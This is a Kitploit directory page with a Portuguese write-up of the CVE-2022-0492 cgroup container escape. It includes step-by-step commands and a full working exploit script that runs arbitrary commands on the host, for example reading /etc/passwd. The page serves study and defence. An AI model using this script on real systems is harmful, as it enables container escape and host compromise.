Skip to content
KitploitKITPLOIT
FerramentasBlog
Enviar
FerramentasBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

··Feeds·Contato·Privacidade·© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
CVE-2022-0492 — CVE-2022-0492 EXP e write-up de análise | Kitploit
Ferramentas/GitHubGitHub/chenaotian/cve-2022-0492
Escalada de PrivilégiosAnálise de VulnerabilidadesExploraçãoAprendizado e EducaçãoEscape de ContêinerLabs e Prática
GitHubchenaotian/cve-2022-0492

CVE-2022-0492

CVE-2022-0492 EXP e write-up de análise

Ver Repositório
329há 4 anosRevisado pelo Kitploit

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Compartilhar

CVE-2022-0492 Análise de escape de contêiner

[toc]

Visão geral da vulnerabilidade

ID da vulnerabilidade: CVE-2022-0492

Produto afetado: linux kernel - cgroup

Versões afetadas: ~linux kernel 5.17-rc3

Impacto: quando o contêiner não possui medidas de segurança adicionais ativadas, obter a permissão de root dentro do contêiner é suficiente para escapar para o host.

Configuração do ambiente

Basta usar o docker em um linux com kernel na versão vulnerável.

root@kitploit:~
#关闭所有安全防护启动docker
docker run --rm -it -h cve --name cve --security-opt="seccomp=unconfined" --security-opt="apparmor=unconfined" ubuntu:20.04 /bin/bash 

Neste artigo, o docker é usado como ambiente de teste.

Princípio da vulnerabilidade e conhecimento relacionado

O método de exploração desta vulnerabilidade já é um velho conhecido; no entanto, o ponto da vulnerabilidade está na falta de verificação de permissão ao modificar o release_agent do cgroup, o que reduz ainda mais a barreira para a exploração de escape (antes era necessária a capability CAP_SYS_ADMIN; com esta vulnerabilidade, não é necessário CAP_SYS_ADMIN). Veja abaixo, em "Condições de exploração", a diferença nos pré-requisitos.

Ponto de ocorrência da vulnerabilidade

Analisando o patch, a função cgroup_release_agent_write foi corrigida, adicionando autenticação. Ou seja, o release_agent do cgroup não pode mais ser modificado por usuários sem privilégios:

image-20220310201629995

Portanto, confirma-se que esta vulnerabilidade é um controle de acesso quebrado.

Introdução ao cgroup

O cgroup, ou Linux Control Group, é um recurso do kernel Linux usado para limitar, controlar e isolar recursos de um grupo de processos (como CPU, memória, entrada/saída de disco etc.).

O cgroup possui os seguintes subsistemas:

  1. devices permissões de dispositivos no escopo do processo
  2. cpuset aloca o número de CPUs e nós de memória que os processos podem usar
  3. cpu controla a ocupação da CPU
  4. cpuacct estatísticas de uso da CPU, como tempo de execução e tempo throttled
  5. memory limita o limite máximo de uso de memória
  6. freezer pausa processos no Cgroup
  7. net_cls usado com tc (traffic controller) para limitar a largura de banda de rede
  8. net_prio define a prioridade de tráfego de rede dos processos
  9. huge_tlb limita o uso de HugeTLB
  10. perf_event permite que a ferramenta Perf faça medição de desempenho com base em grupos Cgroup

No host, os cgroups estão todos em /sys/fs/cgroup; é possível ver os vários subsistemas de cgroup:

image-20220311113636040

O subsistema de cgroup correspondente dentro do docker é um nó filho desse cgroup no host. Veja o memory cgroup dentro do docker:

image-20220311113811776

O nó com o nome do contêiner no diretório docker do host é exatamente igual:

image-20220311113853019

Uso do cgroup

O cgroup é utilizado na forma de um sistema de arquivos. O cgroup é montado em um diretório com mount; ele interage conosco por meio do sistema de arquivos virtual VFS. As interfaces do cgroup são apresentadas como arquivos; basta operar os arquivos para definir parâmetros do cgroup.

root@kitploit:~
mount -t cgroup -o memory cgroup /tmp/testcgroup

image-20220311111853198

Um nó filho de cgroup pode ser criado criando um subdiretório no diretório: mkdir /tmp/testcgroup/x.

release_agent

Cada subsistema do cgroup tem o parâmetro notify_on_release, do tipo Boolean, com valor 1 ou 0. Ele pode, respectivamente, ativar ou desativar o comando do agente de liberação. Se notify_on_release estiver habilitado (valor 1), quando o cgroup não contiver mais nenhuma tarefa (ou seja, quando o último processo do cgroup sair e o PID no arquivo tasks do cgroup estiver vazio), o kernel executará o conteúdo do arquivo especificado pelo parâmetro release_agent. O valor de notify_on_release é alterado modificando o arquivo notify_on_release.

image-20220311114023546

A vulnerabilidade está na modificação do release_agent. Originalmente, bastava poder operar o cgroup para modificar o release_agent, mas era necessário CAP_SYS_ADMIN para usar o cgroup. Mas depois os pesquisadores descobriram que criar um novo namespace com o comando unshare concede todas as capabilities; assim, a restrição do CAP_SYS_ADMIN deixa de existir, e a barreira para exploração caiu drasticamente.

Comando unshare

O comando unshare tem a função de desfazer o compartilhamento dos namespaces especificados do processo pai compartilhado e, em seguida, executar o programa especificado no namespace recém-criado. O que é relevante para a nossa exploração é que o namespace recém-criado pelo unshare possui todas as capabilities, incluindo CAP_SYS_ADMIN.

image-20220311102635204

Exploração da vulnerabilidade

Esta exploração é a mesma do método tradicional de escape via CAP_SYS_ADMIN + cgroup release_agent, mas as condições de exploração diferem.

Condições de exploração

As condições de exploração diferem do escape tradicional via release_agent da seguinte forma:

release_agent tradicional: o contêiner precisa ter CAP_SYS_ADMIN e não ter apparmor e selinux ativados.

cve-2022-0492: contêiner sem proteções adicionais (mais especificamente, seccomp não desabilitando unshare, apparmor não ativando cgroup somente leitura e selinux desativado), com permissão de root dentro do contêiner. Não é necessário obter CAP_SYS_ADMIN.

Vale ressaltar que o apparmor do docker ativa cgroup somente leitura por padrão, e o seccomp do docker desabilita unshare sem a capability CAP_SYS_ADMIN por padrão. Já o k8s normalmente usa contêineres sem proteções por padrão. De qualquer forma, como a exploração é relativamente fácil, vale tentar no cenário específico.

Após a correção: de acordo com o código do patch:

image-20220310201629995

Para modificar o arquivo release_agent, duas condições são necessárias:

  1. Estar no namespace raiz
  2. Possuir a capability CAP_SYS_ADMIN

Portanto, após a correção, a capability CAP_SYS_ADMIN obtida via unshare não pode mais modificar o release_agent, pois o novo namespace criado por unshare não é o namespace raiz. Mas se o contêiner já tiver CAP_SYS_ADMIN, ainda é possível continuar usando essa técnica para escapar.

Exploração da vulnerabilidade

Obtendo CAP_SYS_ADMIN

Se o docker for iniciado com o parâmetro --cap-add=SYS_ADMIN ou --privileged (contêiner privilegiado), ele terá a capability CAP_SYS_ADMIN, sem precisarmos obtê-la; por exemplo, com o seguinte comando de inicialização:

root@kitploit:~
#带有sys_admin 启动docker, 关闭apparmor(否则无法mount)
docker run --rm -it --cap-add=SYS_ADMIN --security-opt="apparmor=unconfined" ubuntu:20.04 /bin/bash 

Docker com CAP_SYS_ADMIN pode ir direto para o próximo passo, "modificar o release_agent". O comando para iniciar um docker sem CAP_SYS_ADMIN e reproduzir a vulnerabilidade é:

root@kitploit:~
#关闭所有安全防护启动docker
docker run --rm -it -h cve --name cve --security-opt="seccomp=unconfined" --security-opt="apparmor=unconfined" ubuntu:20.04 /bin/bash 

Sem CAP_SYS_ADMIN, obtenha a capability CAP_SYS_ADMIN com o seguinte comando unshare:

root@kitploit:~
unshare -UrmC --propagation=unchanged bash 

O namespace recém-criado possui todas as capabilities.

image-20220311102635204

Montando o cgroup e obtendo o caminho do contêiner no host

Montar o cgroup em um diretório usa mount , portanto exige a capability CAP_SYS_ADMIN. Após o passo anterior, ou já temos CAP_SYS_ADMIN nativamente, ou a obtivemos via unshare. Além disso, precisamos criar um nó de cgroup no cgroup recém-montado, para facilitar a operação de esvaziar as tasks mais adiante:

root@kitploit:~
mkdir /tmp/testcgroup
mount -t cgroup -o memory cgroup /tmp/testcgroup
#然后再在/tmp/testcgroup 创建一个
mkdir /tmp/testcgroup/x

Aqui, se memory não puder ser montado ou se memory não tiver release_agent, você pode trocar para outro subsistema de cgroup.

Através do arquivo /etc/mtab, é possível ver as informações do sistema de arquivos overlay docker montado; upperdir é o caminho absoluto do diretório raiz do contêiner no host:

image-20220311104701790

Pode ser obtido com o seguinte comando:

root@kitploit:~
host_path=`sed -n 's/.*\perdir=\([^,]*\).*/\1/p' /etc/mtab`

Modificando o release_agent para acionar o escape

Defina notify_on_release como 1 para habilitar a funcionalidade release_agent após as tasks do processo serem esvaziadas:

root@kitploit:~
echo 1 > /tmp/testcgroup/x/notify_no_release

Crie o arquivo que será executado quando o release_agent for acionado:

root@kitploit:~
touch /cmd
echo '#!/bin/sh' > /cmd
echo "ps -ef >> $host_path/result"  >> /cmd
chmod 777 /cmd

Modifique o release_agent para apontar para o caminho do arquivo cmd no host (o caminho do diretório raiz do contêiner no host já foi obtido acima):

root@kitploit:~
echo "$host_path/cmd" > /tmp/testcgroup/release_agent

Em seguida, adicione uma tarefa ao nó de cgroup x, escrevendo o PID do sh atual em cgroup.procs.

root@kitploit:~
sh -c "echo \$\$ >  /tmp/testcgroup/x/cgroup.procs"

O comando sh executa apenas uma instrução echo e termina em um instante; assim, o nó de cgroup x fica sem nenhuma tarefa, acionando notify_on_release para executar o arquivo /cmd apontado pelo release_agent. O kernel executa, fora do contêiner, o comando que especificamos, completando o escape. Escape bem-sucedido:

image-20220311110810458

exp

Escrevi um exp seguindo o fluxo:

root@kitploit:~
#!/bin/bash
hackCMD=$1
CAP_SYS_ADMIN=0x80000
ifSysAdmin=0
mountDir=/tmp/testcgroup
cmdPath=/cmd
hostPath=`sed -n 's/.*\perdir=\([^,]*\).*/\1/p' /etc/mtab`

mkdir $mountDir
# create cmd
touch $cmdPath
echo '#!/bin/sh' > $cmdPath
echo "$1 > $hostPath/result"  >> $cmdPath
chmod 777 $cmdPath

#create escape.sh
cat <<EOF > ./escape.sh
#!/bin/bash

subsys=\$1
mountDir=\$2
host_path=\$3

mount -t cgroup -o \$subsys cgroup \$mountDir 
if [ ! -d \$mountDir/x ]
then
    mkdir \$mountDir/x
fi

cd \$mountDir/x
echo 1 > \$mountDir/x/notify_on_release
echo "\$host_path/cmd" > \$mountDir/release_agent

sh -c "echo \\\$\\\$ >  \$mountDir/x/cgroup.procs"
sleep 0.5
umount $mountDir 
EOF
chmod 777 ./escape.sh

#get if has cap_sys_admin
nowCap=`cat /proc/$$/status | grep CapEff`
nowCap=${nowCap#*CapEff:}
nowCap=${nowCap%%CapEff*}
nowCap=0x${nowCap: 1: 16}

ifSysAdmin=0
if [ $((($nowCap)&$CAP_SYS_ADMIN)) != 0 ]
then
    ifSysAdmin=1
fi

if [ $ifSysAdmin == 1 ]
then 
    echo "[+] You have CAP_SYS_ADMIN!"
else
    echo "[-] You donot have CAP_SYS_ADMIN, will try"
fi

#try escape
while read -r subsys
do
    if [ $ifSysAdmin == 1 ]
    then
        if mount -t cgroup -o $subsys cgroup $mountDir 2>&1 >/dev/null && test -w $mountDir/release_agent >/dev/null 2>&1 ; then
            ./escape.sh $subsys $mountDir $hostPath 
            echo "[+] Escape Success!"
            rm -r $mountDir
            cat /result
            rm  /result
            exit 0
        fi
    else
        if unshare -UrmC --propagation=unchanged bash -c "mount -t cgroup -o $subsys cgroup $mountDir 2>&1 >/dev/null && test -w $mountDir/release_agent" >/dev/null 2>&1 ; then
            unshare -UrmC --propagation=unchanged bash -c "./escape.sh $subsys $mountDir $hostPath"
            echo "[+] Escape Success with unshare!"
            rm -r $mountDir
            cat /result
            rm  /result
            exit 0
        fi
    fi
done <<< $(cat /proc/$$/cgroup | grep -Eo '[0-9]+:[^:]+' | grep -Eo '[^:]+$')

echo "[-] Escape Fail!"
rm -r $mountDir

Execute diretamente passando como argumento o comando que você deseja executar no escape, por exemplo: ./exp.sh "cat /etc/passwd"

Escape bem-sucedido:

image-20220311153511050

Medidas de mitigação

Por padrão, o docker tem seccomp e apparmor ativados; a vulnerabilidade não permite escapar de contêineres que usam as regras padrão de seccomp e apparmor. O k8s, por padrão, não tem nenhuma medida de segurança; é necessário ativar manualmente seccomp e apparmor ou selinux.

Referências

https://nvd.nist.gov/vuln/detail/CVE-2022-0492

https://github.com/PaloAltoNetworks/can-ctr-escape-cve-2022-0492

https://www.freebuf.com/vuls/264843.html

Além disso, também perguntei às pessoas que participaram da descoberta desta vulnerabilidade.

Baixar ferramenta